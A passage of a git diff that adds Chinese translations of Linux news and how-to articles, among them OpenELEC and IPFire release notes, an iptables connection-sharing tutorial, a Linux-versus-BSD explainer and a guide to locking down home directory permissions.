原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://port389.org/ +[2]:http://opendj.forgerock.org/ +[3]:http://www.openldap.org/ +[4]:http://www.freeipa.org/ +[5]:http://directory.apache.org/apacheds/ \ No newline at end of file diff --git "a/published/201406/20140609 OpenELEC 4.0.4 \347\216\260\345\267\262\345\217\221\345\270\203, \345\237\272\344\272\216 XBMC 13.1 \342\200\234Gotham\342\200\235.md" "b/published/201406/20140609 OpenELEC 4.0.4 \347\216\260\345\267\262\345\217\221\345\270\203, \345\237\272\344\272\216 XBMC 13.1 \342\200\234Gotham\342\200\235.md" new file mode 100644 index 0000000000..f68626be5f --- /dev/null +++ "b/published/201406/20140609 OpenELEC 4.0.4 \347\216\260\345\267\262\345\217\221\345\270\203, \345\237\272\344\272\216 XBMC 13.1 \342\200\234Gotham\342\200\235.md" @@ -0,0 +1,40 @@ +嵌入式多媒体中心 OpenELEC 4.0.4 +================================================================================ + +![] (http://i1-news.softpedia-static.com/images/news2/OpenELEC-4-0-4-Is-Out-and-Based-on-XBMC-13-1-quot-Gotham-quot-445802-2.jpg) + +**OpenELEC 4.0.4已经发布,它是一个专门设计运行XBMC的嵌入式系统,一个开放源代码的娱乐媒体中心。它构建 XBMC 13.1 基础之上。** + +OpenELEC 开发商非常密切地跟着 XBMC 的产品开发周期,目前已经发布了他们的最新的 4.0.4 的版本。它基于 XBMC 13.1 "Gotham",并且开发者们做了一些自己的改动。 + +“此版本包括一些bug修正、安全修复和来自于 OpenELEC 4.0.3 的改进。除了通常的错误修正和软件包更新,我们已经使用最新的补丁文件升级 XBMC 至最新的 XBMC 13.1 (final)。这个版本包含了在 XBMC 13.0 发布之后的很多已知问题的修复(其中有些我们已包括 OpenELEC 4.0.0中)。” + +“我们在popcornmix的帮助下发现并修复了一些和树莓派相关内核问题、 固件和 XBMC 代码中的问题,非常感谢他的帮助 !OpenELEC 4.0.4 现在是一个稳定版本,包含了OpenELEC 4.0系列的bug修正和安全漏洞修复 。”开发商的官方网站上如是写道。 + +OpenELEC 4.0.4 界面更加美观而且更新和修复了许多问题。例如,e2fsprogs 已更新到版本 1.42.10、 bluez 已更新到版本 5.19、 fontconfig 版本更新到 2.11.1,也默认集成了 systemd 213 和修复了一些安全问题的gnutls 3.2.12,而且使用了一个新的 Linux 内核3.14.5。 + +此外,DVB T2 已经添加了对 GeniaTech T220 / August T210 设备的支持,由于其驱动程序尚不完善而允许禁用WOL、也添加了尚不完善的"e1000e"驱动,树莓派的支持补丁已更新。 + +如果你已经有一个旧版的 OpenELEC,你可能需要考虑升级的系统而不是从头开始安装它。如果想顺利地完成安装,至少应该是 3.2 版本。 + +如果您尝试从旧版本操作系统的更新,您可能发现一些插件和插件都不再工作。所以最明智的办法就是,在尝试升级之前备份你的系统。 + +以 XBMC 13.1 "Gotham" 版本为基,配有 Android 硬件解码、 许多树莓派和 Android 速度方面的改善,立体 3D 渲染,更好的触摸屏支持,改进了 UPnP 功能,很多的音频引擎的改进,更好地字幕搜索、 对开发者增加的如 Python 和 JSON RPC API等 ,FFmpeg 1.2,还有更多。 + +查阅官方 [公告] [1] 的更改和改进的完整列表。 + +### 下载最新的 OpenELEC 4.0.4: ### +- [OpenELEC 4.0.4 (tar.bz2) 64-bit][2][binary] [145 MB] +- [OpenELEC 4.0.4 (tar.bz2) 32-bit][3][binary] [142 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/OpenELEC-4-0-4-Is-Out-and-Based-on-XBMC-13-1-quot-Gotham-quot-445802.shtml + +译者:[owen-carter](https://github.com/owen-carter) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://openelec.tv/news/22-releases/129-openelec-4-0-4-released +[2]:http://openelec.tv/get-openelec/download/viewdownload/8/339 +[3]:http://openelec.tv/get-openelec/download/viewdownload/8/338 diff --git a/published/201406/20140610 How to set up Internet connection sharing with iptables on Linux.md b/published/201406/20140610 How to set up Internet connection sharing with iptables on Linux.md new file mode 100644 index 0000000000..34066c0167 --- /dev/null +++ b/published/201406/20140610 How to set up Internet connection sharing with iptables on Linux.md @@ -0,0 +1,118 @@ +怎样使用linux的iptables工具进行网络共享 +================================================================================ + +在本教程中,我将解释多个设备怎样在linux下共享一个网络连接。目前无线路由器已经成为主流的消费品,从而解决了本文这一问题。这里假设你家中并没有一台无线路由器,不过,你却有一台已经有"猫"和有线网卡的的linux主机。"猫"是以动态公有IP地址的模式连接到互联网,主机的网卡连接到你的交换机或者集线器。其他设备(如linux或者windows的PC或者笔记本)以网桥的形式连接,并且没有连接到互联网。为了共享linux主机的互联网,你必须把主机转换成网关,以便它能实现从其他设备中传送和接受信息。 + +### 术语字汇 ### + + +- **私有IP地址**(路由不可达地址)是一个被用于本地局域网的IP地址(在互联网中不可见)。 +- **公用IP地址**(路由可达地址)是一个在互联网中可见的IP地址。 +- **IP伪装**是一项允许一系列机器通过MASQ网关连接互联网的功能。这些MASQ网关之外的机器在互联网中是不可见的。MASQ之后的机器中任何流入或流出的数据必须经过MASQ网关。 +- **网络地址转换**(NAT)是一项通过IP伪装技术可以使私有IP地址访问互联网的功能。 + +### Hardware Requirements ### + +硬件要求 + +- 一台有两个接口(一个公有IP地址和其他的私有IP地址)的linux主机,这个主机将被用作网关。 +- 一台或者多台拥有私有IP地址的linux/windows系统的PC或者笔记本。 +- 交换机/集线器(可选)。 + +### 教程步骤 ### + +接下来的过程需要在linux主机(用于共享的网关)上完成。 + +#### 1、激活IP转发 #### + +为了设置网络共享,你需要在linux主机上更改一个内核参数来使能IP转发功能。内核启动参数设定在/etc/sysctl.conf文件中。 + +打开这个文件,定位到含有"# net.ipv4.ip_forward = 0"的这一行,移除#号(即取消注释),然后将其值设置为1,改好之后应该和下面的一致。 + + net.ipv4.ip_forward = 1 + +你还要使激活IP转发功能生效,通过执行下面的命令: + + $ sudo sysctl -w net.ipv4.ip_forward=1 + $ sudo sysctl -p + +#### 2、NAT配置 #### + +另一个网络共享的重要部分是NAT配置,这可以通过使用iptables的命令,iptables包含四个防火墙的规则表: + +- FILTER (默认表格) +- NAT +- MANGLE +- RAW + +这个教程中我们将仅使用两个表格:FILTER和NAT表格。 + +首先,刷新所有活跃的防火墙的规则。 + + $ sudo iptables -X + $ sudo iptables -F + $ sudo iptables -t nat -X + $ sudo iptables -t nat -F + + +在输入表格中,你需要设置转发链(FORWARD)成可接受的(ACCEPT)目的地,因此所有通过主机的数据包将会被正确的处理。 + + $ sudo iptables -I INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT + $ sudo iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + + +在NAT表中,你必须为你的WAN口启用IP伪装功能,我们假设WAN口协议是ppp0。为了在ppp0接口上使能IP伪造技术,我们使用以下的命令: + + $ sudo iptables -t nat -I POSTROUTING -o ppp0 -j MASQUERADE + +#### 3、配置私有IP地址 #### + +在linux主机上的所有配置完成后,你需要配置其他设备(linux/windows的PC或笔记本)的DNS服务器以及默认网关,让它们的数据流可以指向linux主机。注意你不需要在linux主机上设置一个DNS服务器,从其他设备发出的每一个DNS请求都会通过上游的ISP自动转发到linux主机上。 + +如果你的其他设备上用的系统是linux,你可以通过以下命令来更改他们的默认网关和DNS服务器。假设你的网段是192.168.1.0/24的私有IP地址网段,linux主机上绑定的IP地址是192.168.1.1。 + + $ sudo ip route del default + $ sudo ip route add default via 192.168.1.1 + $ sudo sh -c "echo 'nameserver 192.168.1.1' > /etc/resolv.conf" + +如果还有其他的linux设备,那么你可以重复以上命令。 + +如果你有windows设备,你可以通过控制面板的网络连接属性来更改默认网关和DNS服务器。 + +#### 4、完整的脚本 #### + +这是一个在linux主机上设置网络连接共享的一个完整的脚本。WAN口(ppp0协议)需要根据你具体的网络接口协议来替换。 + + $ sudo vi /usr/local/bin/ishare + +---------- + + #!/bin/bash + + ## Internet connection shating script + + sysctl -w net.ipv4.ip_forward=1 + sysctl -p + iptables -X + iptables -F + iptables -t nat -X + iptables -t nat -F + iptables -I INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT + iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + iptables -t nat -I POSTROUTING -o ppp0 -j MASQUERADE + +保存以上的脚本到/usr/local/bin/ishare,然后添加可执行权限通过执行下面的命令。 + + $ sudo chmox +x /usr/local/bin/ishare + +如果你需要这个脚本开机启动,你需要在/etc/rc.local文件中执行这个脚本,并在该文件中的"exit 0"之前添加下面一行。 + + /usr/local/bin/ishare + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/internet-connection-sharing-iptables-linux.html + +译者:[yujianxuechuan](https://github.com/yujianxuechuan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140610 IPFire 2.13 Core 78 Linux Firewall OS Receives OpenSSL Fixes.md b/published/201406/20140610 IPFire 2.13 Core 78 Linux Firewall OS Receives OpenSSL Fixes.md new file mode 100644 index 0000000000..d067b72f80 --- /dev/null +++ b/published/201406/20140610 IPFire 2.13 Core 78 Linux Firewall OS Receives OpenSSL Fixes.md @@ -0,0 +1,32 @@ +Linux防火墙发行版 IPFire 发布新版本 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/IPFire-2-13-Core-78-Linux-Firewall-OS-Receives-OpenSSL-Fixes-445876-2.jpg) + +**ipfire.org团队的 Michael Tremer 发布了 IPFire 2.13 Core 78 的最新稳定版本, 这是一个基于Linux的防火墙发行版,本次发布已经包含了最新的OpenSSL补丁。** + +IPFire 是一个模块化 Linux 发行版,它可以用为防火墙、 代理服务器或 VPN 网关。IPFire 开发人员的主要关注点之一就是安全,每一步修改都确保用户的安全。 + +开发者在其博客上说:“在负责提供SSL/TLS协议和其他加密功能的openssl库中发现了几个安全漏洞。详细的细节可以在原始的 openssl 安全建议里面找到” + +他们解释说所有计划为Core Update 78准备的更新被延迟提交到core Update 79。这意味着用户为其需要等更长时间。 + +OpenSSL 的开发人员发现了另一轮的 OpenSSL 的问题,但问题很快被修复,最新Linux发行版已包含此次修复。 + +开发者推荐 IPFire 的所有用户升级。更多的细节可以在[这里][1]发现. + +下载IPFire 2.13 Core 78: + +- [IPFire 2.15 Core 78 (ISO)][2][iso] [122 MB] +- [IPFire 3.0 Alpha 1 (ISO)][3][iso] [76 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/IPFire-2-13-Core-78-Linux-Firewall-OS-Receives-OpenSSL-Fixes-445876.shtml + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ipfire.org/news/ipfire-2-15-core-update-78-released +[2]:http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core78/ipfire-2.15.i586-full-core78.iso +[3]:http://www.rowie.at/ipfire/iso/ipfire-3.0-alpha1.i686.iso diff --git a/published/201406/20140610 Open Source SDN Project OpenDaylight Adds New Members.md b/published/201406/20140610 Open Source SDN Project OpenDaylight Adds New Members.md new file mode 100644 index 0000000000..6b322e7495 --- /dev/null +++ b/published/201406/20140610 Open Source SDN Project OpenDaylight Adds New Members.md @@ -0,0 +1,27 @@ +开源SDN项目OpenDaylight添加新成员 +================================================================================ +[Linux基金会][1]的[OpenDaylight][2] 项目旨在促进开源的[软件定义网络][3] (SDN) 发展。 [Extreme Networks][4] (EXTR), [Flextronics][5]和[Oracle][6] (ORCL) 现在也加入了该项目。 + +三个公司6月5日正式加入OpenDaylight,其成员数达到到39。该项目还有195位协作开发人员,以建立一个开放源码的SDN平台。 + +新成员带来了在数据中心和云计算的设计和基础设施的专长。Extreme Networks是专业提供高性能网络解决方案的企业,而Flextronics提供系统设计、生产和物流。Oracle有广泛的业务,同时专注于各种领域的云计算和数据中心。 + +OpenDaylight 领导人很高兴该项目的会员增多,并进一步走向创造一个以开放标准为中心和避免垄断的SDN生态系统。OpenDaylight执行主任Jacques Neela说:"更多的声音意味着更多的讨论和更好的代码,我们很高兴看到各种多样性的新成员加入来加宽探讨SDN和NFV的领域"。 + +OpenDaylight的第一款正式软件是在2013年4月发布的,该软件在同年二月首次以Hydrogen的名字出现。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/open-source-application-software-companies/open-source-sdn-project-opendaylight-adds-new-members + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linuxfoundation.org/ +[2]:http://www.opendaylight.org/ +[3]:http://thevarguy.com/sdn +[4]:http://www.extremenetworks.com/ +[5]:http://www.flextronics.com/ +[6]:http://oracle.com/ +[7]:http://thevarguy.com/open-source-application-software-companies/020514/embargo-until-feb-4-1130-am-est-opendaylight-releases-fir diff --git a/published/201406/20140610 Top 7 Desktop Environment For Linux.md b/published/201406/20140610 Top 7 Desktop Environment For Linux.md new file mode 100644 index 0000000000..0047b56864 --- /dev/null +++ b/published/201406/20140610 Top 7 Desktop Environment For Linux.md @@ -0,0 +1,68 @@ +Linux 平台七大桌面环境通览 +================================================================================ +通常的 Linux 发行版都使用 KDE 或者 GNOME 作为默认的桌面环境。它们都给用户提供了一个原始的并且有吸引力的桌面,并且内置了各式各样的多媒体软件、系统程序、游戏、实用程序、网页开发工具、编程工具等等。这两个桌面致力于提供给用户一个拥有类似于 Windows 操作系统体验的尖端计算环境,而不是如何更少的占用系统资源。 + +如果你正在使用 Ubuntu (或者其他Linux发行版) 并且厌倦了始终使用 Unity 桌面,那么你应该看看这些可以替代 Unity 的选择。我收集了 7 种桌面环境。它们都很棒。在你读完这篇文章之后,请试着使用它们吧。 + +### [Mate][1] ### + +![](http://i0.wp.com/pulpybucket.com/wp-content/uploads/2014/06/mate.png) + +MATE 是 GNOME2 的一个分支。它提供了一个自然且吸引人的桌面环境。它是 Linux 和其它类 Unix 工作环境中的传统工作框架的代表。MATE 在保留传统的桌面体验的同时正在不断进步使用新的技术。 + +在 Ubuntu 14.04 中,可以直接从 Ubuntu 软件中心获取 MATE 桌面。 + +### [KDE][2] ### + +![](http://i2.wp.com/pulpybucket.com/wp-content/uploads/2014/06/Kubuntu-9.04-DesktopEffects.png) + +KDE 是另一个类似于 GNOME 一样的重量级桌面环境。它在本文章所提及的7种桌面环境中被认为是最华丽最重量级的一个。它同样是一个类似于 Windows 的桌面,在这一点上没有什么特殊的变化。不过 KDE 非常有特点,但是随之而来的是可以通过大量的设置来提升你的桌面体验。同样的,有很多关于 KDE 的话题,所以你可以很舒服的使用 KDE,并让它以你希望的方式工作。 + +### [Cinnamon][3] ### + +![](http://i1.wp.com/pulpybucket.com/wp-content/uploads/2014/06/WD9O-C08B-ESP5.jpg) + +Cinnamon 是一个基于 Gtk+ 的环境。它最初作为 GNOME Shell 的一个用户界面分支,由 Linux Mint 为其创建的。 Cinnamon 的核心设计目标是让桌面终端和触屏设备都能完美操作。无论是使用鼠标,还是使用触摸屏都可以获得同样便捷的操作。不像 KDE Plasma 工作空间,只有一种图形用户体验。当前版本—— Cinnamon 2.0 于2013年10月10日发布。 + +### [Unity][4] ### + +![](http://i1.wp.com/pulpybucket.com/wp-content/uploads/2014/06/Ubuntu_13.10_Desktop.png) + +Unity 是 GNOME 桌面环境的一个界面,由 Canonical 公司创建,用于 Ubuntu 系统中。Unity 最初现身于 Ubuntu 10.10 的上网本版本中。它起初打算充分利用上网本的屏幕空间,例如一个竖直的应用启动器和一个节省空间的多功能顶部菜单栏。Unity 不像 GNOME、KDE、 Xfce 或者 LXDE 是许多软件的合集,它是为了可用性而开发的。 + +### [GNOME Shell][5] ### + +![](http://i0.wp.com/pulpybucket.com/wp-content/uploads/2014/06/GNOME_Shell_3.6.png) + +GNOME 提供了桌面核心接口例如交换窗口,启动应用程序以及显示提示。它利用先进的图形硬件来实现吸引人的、创新的界面思想,提供了愉悦简单的用户体验。GNOME Shell 定义了 GNOME 3 的客户体验。 + +作为 GNOME 的一个重要组成部分, GNOME Shell 的稳定版本首次发布于2011年3月3日。 + +### [Xfce][6] ### + +![](http://i0.wp.com/pulpybucket.com/wp-content/uploads/2014/06/New-Picture1.jpg) + +Xfce 是一个轻量级的桌面环境,围绕 GTK 框架实现。它看起来很像 Gnome 2 和 MATE,然而 Xfce 是它们的轻量级替代品。相较于 KDE 和 GNOME 3 而言,Xfce 非常轻量级,所以它对于运行轻量级的工具或者那些希望实现最大执行效率的框架使用者来说是理想的环境。它还不是可以获得的最轻量级的选择 - 请继续往下看 - 然而,Xfce 的确完成了执行效率和功能的平衡。 + +### [LXDE][7] ### + +![](http://i2.wp.com/pulpybucket.com/wp-content/uploads/2014/06/LXDE_desktop_full.png) + +LXDE 显然是桌面环境中最轻量级的选择,至少在传统的桌面标准中是这样。这个基于 GTK 的桌面环境使用了很多轻量级的选择替代了默认的应用(例如 Abiword, Gnumeric, 而不是 LibreOffice)。它没有提供炫目的视觉震撼 ,总体感觉也不是特别的棒,没有高级的设置。但是,LXDE 仍然提供了漂亮的桌面和完整的功能。当你需要快速简洁时,它就是你的选择。 + +-------------------------------------------------------------------------------- + +via: http://pulpybucket.com/top-7-desktop-environment-linux/ + +译者:[wwhio](https://github.com/wwhio) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://mate-desktop.org/ +[2]:http://kde.org/ +[3]:http://cinnamon.linuxmint.com/ +[4]:https://unity.ubuntu.com/ +[5]:http://www.gnome.org/ +[6]:http://xfce.org/ +[7]:http://lxde.org/ + diff --git a/published/201406/20140611 HTG Explains--What' s the Difference Between Linux and BSD.md b/published/201406/20140611 HTG Explains--What' s the Difference Between Linux and BSD.md new file mode 100644 index 0000000000..c55fb6af45 --- /dev/null +++ b/published/201406/20140611 HTG Explains--What' s the Difference Between Linux and BSD.md @@ -0,0 +1,84 @@ +Linux 与 BSD 有什么不同? +================================================================================ +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/freebsd-devil-mascot-and-ubuntu-linux.jpg) + +Linux 和 BSD 都是免费的,开源的,类Unix系统。他们甚至使用很多相同的软件。他们看上去简直就像是一个操作系统,那么,它们有什么不同吗? + +其实,两者之间的不同,远远超出了我们下面提到的这些,尤其是在构建完整操作系统和许可授权的哲学思想上,更是相差甚远。通过这篇短文将可以简单的了解它们之间的不同。 + +### 基础 ### + +[许多人所称的“Linux”实际上不是 Linux][1]。Linux 从技术上说只是 Linux 内核,典型的 Linux 发行版则包括了 Linux 内核和许多软件。这是[为什么 Linux 有时被称为 GNU/Linux][2]。事实上,许多在 Linux 上使用的软件同样也在 BSD 上使用。 + +Linux 和 BSD 都是类 UNIX 操作系统。我们可以通过阅读[类 UNIX 操作系统历史][3]发现 Linux 和 BSD 有不同的谱系。Linux 是由 Linus Torvalds 在芬兰上大学的时候开发的。BSD 则代表“Berkeley Software Distribution,伯克利软件套件”,其源于对加州大学伯克利分校所开发的贝尔实验室UNIX的一系列修改,它最终发展成一个完整的操作系统,现在有多个不同的BSD分支。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/freebsd-boot-screen.png) + +### 内核 vs. 完整操作系统 ### + +严格的说,Linux 是只是一个内核。制作 Linux 发行版所要做的工作就是,汇集那些创建一个完整 Linux 操作系统所需的所有软件,将它组合成一个像 Ubuntu、Mint、Debian、RedHat 或者是 Arch 这样的 [Linux 发行版][4]。有许多不同的 Linux 发行版。 + +与此相反的是,BSD 这个名字则代表其内核和操作系统。例如,FreeBSD 提供了 FreeBSD 内核和 FreeBSD 操作系统。它是作为一个单一的项目维护的。换句话说,如果你想要安装 FreeBSD,就只有一个 FreeBSD 可供你安装。如果你想要安装 Linux,你首先需要在许多 Linux 发行版之间选择。 + +BSD 包括一个名为 Ports 的系统,它提供了一种安装软件包的方式。Ports 系统包含了软件包的源代码,所以您的计算机如果想安装软件的话,则需要先编译他们。(如果您曾经使用过以前流行的 Gentoo,有点类似那样。)不过,软件包也可以是预安装的二进制形式,以便你不需要花时间和系统资源编译他们就能运行。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/ubuntu-14.04-unity-desktop.png) + +### 许可证 ### + +许可证是典型的差异,虽然它不会对大多数人产生影响。Linux 使用 GNU 通用公共许可证,即 GPL。如果你修改了 Linux 内核,并将其分发,你就必须放出您的修改的源代码。 + +BSD 使用 BSD 许可证。如果你修改了 BSD 内核或发行版,并且发布它,你根本不需要必须发布其源代码。你可以自由地对你的 BSD 代码做任何你想做的事情,你没有义务发布的你修改的源代码,当然你想发布也行。 + +两者都是[开放源码][5]的,但是以不同的方式。人们有时会陷入关于哪种许可证是“更自由”的辩论。GPL 可以帮助用户以确保他们可以拥有 GPL 软件的源代码,并限制开发人员迫使他们开放代码。BSD 许可证并不能确保用户可以拥有源代码,而是给开发人员选择是否公布代码的权利,即使他们想要把它变成一个闭源项目。 + +### BSD分支 ### + +以下是通常认可的三个“主流” BSD 操作系统: + +- [FreeBSD][6]: FreeBSD 是最受欢迎的 BSD,针对高性能和易用性。它支持英特尔和 AMD 的32位和64位处理器。 +- [NetBSD][7]: NetBSD 被设计运行在几乎任何架构上,支持更多的体系结构。在他们的主页上的格言是"理所当然,我们运行在 NetBSD 上"。 +- [OpenBSD][8]:OpenBSD 为最大化的安全性设计的 —— 这不仅仅它宣称的功能,在实践中也确实如此。它是为银行和其他重要机构的关键系统设计的。 + +还有两个其他的重要 BSD 操作系统: + +- [DragonFly BSD][9]: DragonFly BSD 的设计目标是提供一个运行在多线程环境中的操作系统 —— 例如,计算机集群。 +- [Darwin / Mac OS X][10]: Mac OS X 实际上基于 Darwin 操作系统,而 Darwin 系统基于 BSD。它与其他的 BSD 有点不同,虽然底层内核和其他的软件是开源代码(BSD 代码),但操作系统的大部分是闭源的 Mac OS 代码)。苹果在 BSD 基础上开发了 Mac OS X 和 iOS,这样他们就不必写操作系统底层,就像 [谷歌在 Linux 基础上开发 android 系统][11]一样。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/mac-os-x-is-built-on-darwin-bsd.png) + +### 你为什么会选择 BSD 而不是 Linux?### + +Linux 显然比 FreeBSD 更受欢迎。例如,Linux 往往会比 FreeBSD 更早提供新硬件的支持。BSD 有一个兼容包可用,使之能像大多数的其他软件一样原生的执行 Linux 二进制程序。 + +如果您使用过 Linux, FreeBSD 不会让你感觉到太大的不同。如果把 FreeBSD 作为桌面操作系统,你也可以使用相同的 GNOME,KDE 或 Xfce [桌面环境][12],你也可以在BSD上使用 Linux 上的大多数的其他软件。有一点需要注意,FreeBSD 不会自动安装的图形化桌面,所以你要花相对于 Linux 更多的心思来照顾你的BSD。BSD 更守旧一些。 + +FreeBSD 的可靠性和稳定性也许更适合作为服务器的操作系统。而厂商也会选择 BSD 而不是 Linux 作为其操作系统,因为这样他们就不必放出他们修改的代码。 + +如果你是一个 PC 桌面用户,你真的不需要太过在意 BSD。你可能会喜欢 Linux,因为它具有更先进的硬件支持,更容易安装,具有现代操作系统的特点。如果你关注服务器或嵌入式的设备,你可能会更喜欢 FreeBSD。 + +我们可能会听到一些人说他们在桌面电脑上使用 FreeBSD,你当然也可能是其中之一!但像 Ubuntu 或 Mint 一样的开源操作系统对于多数用户来说更体验良好和更先进些。 + +图片来源: [atzerok on Flickr][13] + +-------------------------------------------------------------------------------- + +via: http://www.howtogeek.com/190773/htg-explains-whats-the-difference-between-linux-and-bsd/ + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.howtogeek.com/177213/linux-isnt-just-linux-8-pieces-of-software-that-make-up-linux-systems/ +[2]:http://www.howtogeek.com/139287/the-great-debate-is-it-linux-or-gnulinux/ +[3]:http://www.howtogeek.com/182649/htg-explains-what-is-unix/ +[4]:http://www.howtogeek.com/132624/htg-explains-whats-a-linux-distro-and-how-are-they-different/ +[5]:http://www.howtogeek.com/129967/htg-explains-what-is-open-source-software-and-why-you-should-care/ +[6]:http://www.freebsd.org/ +[7]:http://www.netbsd.org/ +[8]:http://www.openbsd.org/ +[9]:http://www.dragonflybsd.org/ +[10]:http://opensource.apple.com/ +[11]:http://www.howtogeek.com/189036/android-is-based-on-linux-but-what-does-that-mean/ +[12]:http://www.howtogeek.com/163154/linux-users-have-a-choice-8-linux-desktop-environments/ +[13]:http://www.flickr.com/photos/atzerok/5378691454 \ No newline at end of file diff --git a/published/201406/20140611 How to Prevent Other Users From Accessing Your Home Directory in Ubuntu 14.04.md b/published/201406/20140611 How to Prevent Other Users From Accessing Your Home Directory in Ubuntu 14.04.md new file mode 100644 index 0000000000..1fc3f32824 --- /dev/null +++ b/published/201406/20140611 How to Prevent Other Users From Accessing Your Home Directory in Ubuntu 14.04.md @@ -0,0 +1,87 @@ +[小白技巧]如何在Linux中阻止其它用户访问你的家目录 +================================================================================ +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/00_lead_image_home_directory.png) + +如果你和其他人共享Ubuntu机器,那么你可能要设置多个用户,希望其他用户登录到他们自己的帐号,并只能访问他们自己的家目录。但是,默认情况下,任何一个用户都可以访问任何一个家目录。 + +当你在Ubuntu中添加一个新用户时,adduser工具为新的帐号添加了一个新的家目录。默认情况下,该目录位于根下面的/home/目录下,并以该帐号的用户名命名。例如,/home/lori。Ubuntu中创建的用户家目录具有其它人可读/执行权限,这就给系统中所有其他用户可以读另外外一些用户的家目录中的内容的权利。具体请阅读我们的[文件权限在Linux中是如何工作的][1]一文。 + +**注**:当我们在文中提到输入什么时,输入的文字内容是在引号中的,不要输入引号,除非我们另外指定。 + +你可以很容易地修改你的家目录的权限来保护你的私人文件。要检查你家目录的权限,输入Ctrl + Alt + T打开终端窗口,并在提示符后输入以下命令,然后按回车。使用你自己的用户名来替换下面的“用户名”。 + + ls -ld /home/lori + +**注**:该命令仅包含小写的L,而不是数字1。(LCTT译注:这是给完全小白的提示,绝大部分人可以无视这个备注了) + +在该行的开头,列出了该文件的权限。就像我们在[文章][1]中关于Linux权限部分讲的那样。 + +> r表示“读”,w表示“写”,而x表示“执行”。目录权限以“d”开头,而不是“-”。你也会注意到权限值占了10个位置。你可以忽略第一个,后面是3个一组,分为3组。第一组是属主(owner)权限,第二组是属组(group)权限,最后一组是其它人(other或world)权限。 + +因此,下面列出的家目录的属主具有读、写和执行权限,而属组和其它人具有读和执行权限。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/01_permissions_for_home_folder.png) + +要修改这些权限,在提示符下输入以下行并回车 + + sudo chmod 0750 /home/lori + +当提示你输入密码时,请输入并回车。 + +**注**:chmod命令使用八进制数作为一种指定权限的方式。我们讲Linux权限的[文章][1]中使用了一种不同的方法,它需要几个步骤,但是可能更易于理解。使用八进制数来指定权限,是一种更快的方法。不管使用什么方法,只要你用着舒服就好。要学习使用八进制数设置权限,请阅读此[文章][2]。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/02_changing_permissions_for_home_folder.png) + +按上箭头两次,再次调用“ls -ld /home/用户名”命令来检查权限。注意,其它人权限现在都是破折号(-),这就意味着其它人将无法读、写或执行你家目录中的任何东西了。 + +然而,和你同组的用户可以读和执行你家目录中的文件和文件夹。如果你不想除你之外的任何人访问你的家目录,可以在chmod命令中输入“0700”。 + +**注**:要获取关于Linux中用户和组管理的更多信息,请查看我们的[文章][3] + +要关闭终端窗口,在提示符下输入“exit”并回车。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/03_new_permissions.png) + +现在,当其系统中的其他用户试着要访问你的家目录时,下面的对话框就会弹出来了。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/04_location_could_not_be_displayed.png) + +甚至你也可以在创建新用户时让Ubuntu使用指定的权限。要完成此项任务,你需要编辑adduser配置文件。要编辑该文件,在提示符下输入以下命令并回车。 + + gksudo gedit /etc/adduser.conf + +我们使用gedit来编辑该文件,你也可以使用你想要的其它文本编辑器。 + +注:gksudo命令看似和sudo命令一样,但是它是用来以root身份运行图形化程序的,而sudo命令用来以root身份运行命令行程序。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/05_opening_gedit_as_root.png) + +在弹出对话框中的密码编辑框内输入你的密码并按回车或点击确定(OK)。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/06_entering_password.png) + +在adduser.conf文件中向下滚动到DIR_MODE命令处,这里的默认值是“0755”。修改该值来反映你想要授权给各种用户类型(属主,属组,其它人)的不同权限(r,w,x),如我们先前讨论过的“0750”或“0700”。点击保存(Save)。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/07_changing_dir_mode.png) + +从gedit的文件(File)菜单选择退出(Quit)来关闭gedit,你也可以点击窗口左上角的X按钮来关闭它。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/08_closing_gedit.png) + +点击窗口左上角的X来关闭终端窗口。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/05/09_closing_terminal_window_with_x.png) + +现在,你家目录中文件会保持私有。切记,如果有其他用户和你处于同一组中,你也许要为你的家目录权限剔除组和大众权限。 + +-------------------------------------------------------------------------------- + +via: http://www.howtogeek.com/190084/how-to-prevent-other-users-from-accessing-your-home-directory-in-ubuntu-14.04/ + +译者:[GOLinux](https://github.com/GOLinux) 